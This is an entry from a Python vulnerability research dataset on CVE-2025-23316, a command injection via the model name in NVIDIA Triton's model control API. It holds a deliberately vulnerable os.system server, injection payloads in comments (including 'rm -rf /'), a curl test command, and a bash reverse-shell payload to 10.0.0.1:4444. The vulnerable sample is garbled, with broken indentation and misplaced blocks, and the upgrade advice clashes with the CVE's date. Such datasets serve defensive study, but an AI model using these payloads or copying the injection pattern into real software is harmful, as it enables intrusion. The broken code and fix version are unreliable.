VAITP Dataset

← Back to the dataset

CVE-2025-23316

NVIDIA Triton Python backend allows RCE via a malicious model name in APIs.

  • CVSS 9.8
  • CWE-78
  • Input Validation and Sanitization
  • Remote

NVIDIA Triton Inference Server for Windows and Linux contains a vulnerability in the Python backend, where an attacker could cause a remote code execution by manipulating the model name parameter in the model control APIs. A successful exploit of this vulnerability might lead to remote code execution, denial of service, information disclosure, and data tampering.

CVSS base score
9.8
Published
2025-09-17
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Command Injection
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Python backe
Fixed by upgrading
Yes

Solution

Upgrade to Triton Inference Server version 22.04 or later.

Vulnerable code sample

# WARNING: This code is for educational purposes only and contains a:
# severe security vulnerability (Command Injection).
# DO NOT use this code in a production environment.
# This code is a conceptual representation of the vulnerability described
# in CVE-2025-23316 and does not represent the actual source code of
# NVIDIA Triton Inference Server.

import os
import json
from http.server import BaseHTTPRequestHandler, HTTPServer

# This represents the base directory where models are stored.
MODEL_REPOSITORY_PATH = "/tmp/models"

class VulnerableAPIHandler(BaseHTTPRequestHandler):
    """
    A simplified HTTP server handler that simulates Triton's model control API.
    """
    def do_POST(self):
        """Vulnerable function that demonstrates the security issue."""
        # This handler simulates an API endpoint like /v2/repository/models/{model_name}/load
        if self.path.endswith('/load'):
            try:
                content_length = int(self.headers['Content-Length'])
                post_data = self.rfile.read(content_length)
                request_body = json.loads(post_data)

                model_name = request_body.get('model_name')

                if not model_name:
                    self.send_response(400)
                    self.end_headers()
                    self.wfile.write(b'{"error": "model_name is required"}')
                    return

                # --- VULNERABILITY ---
                # The 'model_name' parameter is taken directly from user input and
                # used to construct a shell command without any sanitization or
                # validation. An attacker can inject arbitrary commands by
                # providing a malicious 'model_name'.
                #
                # Example of a malicious payload:
                # {"model_name": "fakemodel; id"}
                # This would execute the 'id' command on the server.
                # Another example:
                # {"model_name": "fakemodel; rm -rf /"}

                    command = f"echo 'Loading model configuration for {model_name}' && ls -l {MODEL_REPOSITORY_PATH}/{model_name}/":
                    print(f"[DEBUG] Executing command: {command}")

                # The use of os.system() with unvalidated input is the direct cause of RCE.
                # In a real scenario, this might be a command to unzip a model,
                # set up a virtual environment, or execute a setup script.
                    os.system(command)
                # --- END OF VULNERABILITY ---

                    self.send_response(200)
                    self.end_headers()
                    self.wfile.write(json.dumps({"status": f"Model '{model_name}' load request processed."}).encode('utf-8'))

                    except Exception as e:
                        self.send_response(500)
                        self.end_headers()
                        self.wfile.write(json.dumps({"error": str(e)}).encode('utf-8'))
                    else:
                        self.send_response(404)
                        self.end_headers()
                        self.wfile.write(b'{"error": "Endpoint not found"}')

                        def run_vulnerable_server(server_class=HTTPServer, handler_class=VulnerableAPIHandler, port=8000):
                            """Vulnerable function that demonstrates the security issue."""
    # Create a dummy model directory for demonstration:
                            if not os.path.exists(f"{MODEL_REPOSITORY_PATH}/my_model"):
                                os.makedirs(f"{MODEL_REPOSITORY_PATH}/my_model/1")
                                with open(f"{MODEL_REPOSITORY_PATH}/my_model/1/model.bin", "w") as f:
                                    f.write("dummy model data")

                                    server_address = ('', port)
                                    httpd = server_class(server_address, handler_class)
                                    print(f"Starting vulnerable server on port {port}...")
                                    print("To test the vulnerability, send a POST request:")
                                    print("  curl -X POST http://localhost:8000/load -d '{\"model_name\": \"my_model; whoami\"}'")
                                    httpd.serve_forever()

                                    if __name__ == '__main__':
                                        run_vulnerable_server()

Patched code sample

import os
import re
import subprocess

# Define the legitimate location for models.
# In a real application, this would be read from a configuration file.
MODEL_REPOSITORY_PATH = "/path/to/models"

def secure_load_model(model_name: str):
    """
    Securely handles a request to load a model by validating and sanitizing
    the model_name parameter before using it to construct file paths or commands.

    This function represents the fix for a vulnerability where a manipulated
    model_name could lead to path traversal or command injection.
    """
    
    # 1. FIX: Validate against a strict allow-list of characters.
    # This prevents shell metacharacters (;, &, |, `, $, etc.) and path
    # traversal characters (../, ..\). A simple regex for model names
    # could be alphanumeric characters plus underscores and hyphens.
    if not re.match(r'^[a-zA-Z0-9_-]+$', model_name):
        print(f"Error: Invalid characters in model name '{model_name}'. Request rejected.")
        # In a real server, this would return an HTTP 400 Bad Request.
        return

    # 2. FIX: Use os.path.join for safe path construction.
    # This correctly handles path separators for the host OS.
    # Note: This alone is NOT sufficient to prevent path traversal if the
    # input ('model_name') contains '..'. The validation above helps, but
    # the check below is the definitive defense.
    prospective_path = os.path.join(MODEL_REPOSITORY_PATH, model_name)

    # 3. FIX: Canonicalize the path and verify it is within the intended directory.
    # This is the most critical step to prevent any form of path traversal.
    # os.path.realpath resolves all symbolic links and '..' components.
    real_repo_path = os.path.realpath(MODEL_REPOSITORY_PATH)
    real_model_path = os.path.realpath(prospective_path)

    # Check if the resolved model path is still within the designated repository.
    if not real_model_path.startswith(real_repo_path):
        print(f"Error: Path traversal attempt detected for model name '{model_name}'. Request rejected.")
        # In a real server, this would return an HTTP 403 Forbidden.
        return

    # Check if the model directory actually exists.
    if not os.path.isdir(real_model_path):
        print(f"Error: Model directory not found at '{real_model_path}'.")
        # In a real server, this would return an HTTP 404 Not Found.
        return
        
    print(f"Validated model path: {real_model_path}")

    # 4. FIX: Avoid executing shell commands with untrusted input.
    # If a subprocess must be called, pass arguments as a list to avoid shell
    # interpretation (i.e., never use `shell=True` with user-provided input).
    # This prevents command injection.
    try:
        # This is a hypothetical script that might perform the model loading.
        # The 'real_model_path' is passed as a distinct argument, not as part
        # of an executable string.
        command = ["/usr/bin/internal_model_loader", "--model-path", real_model_path]
        
        print(f"Executing safe command: {command}")
        
        # In a real implementation, this subprocess call would be executed.
        # For this example, we will just print the command.
        # subprocess.run(command, check=True, capture_output=True, text=True)
        
        print(f"Success: Model '{model_name}' would be loaded securely.")

    except (subprocess.CalledProcessError, FileNotFoundError) as e:
        print(f"Error during model loading process: {e}")
        # Handle execution errors appropriately.

Payload

a; bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'

Cite this entry

@misc{vaitp:cve202523316,
  title        = {{NVIDIA Triton Python backend allows RCE via a malicious model name in APIs.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-23316},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-23316/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::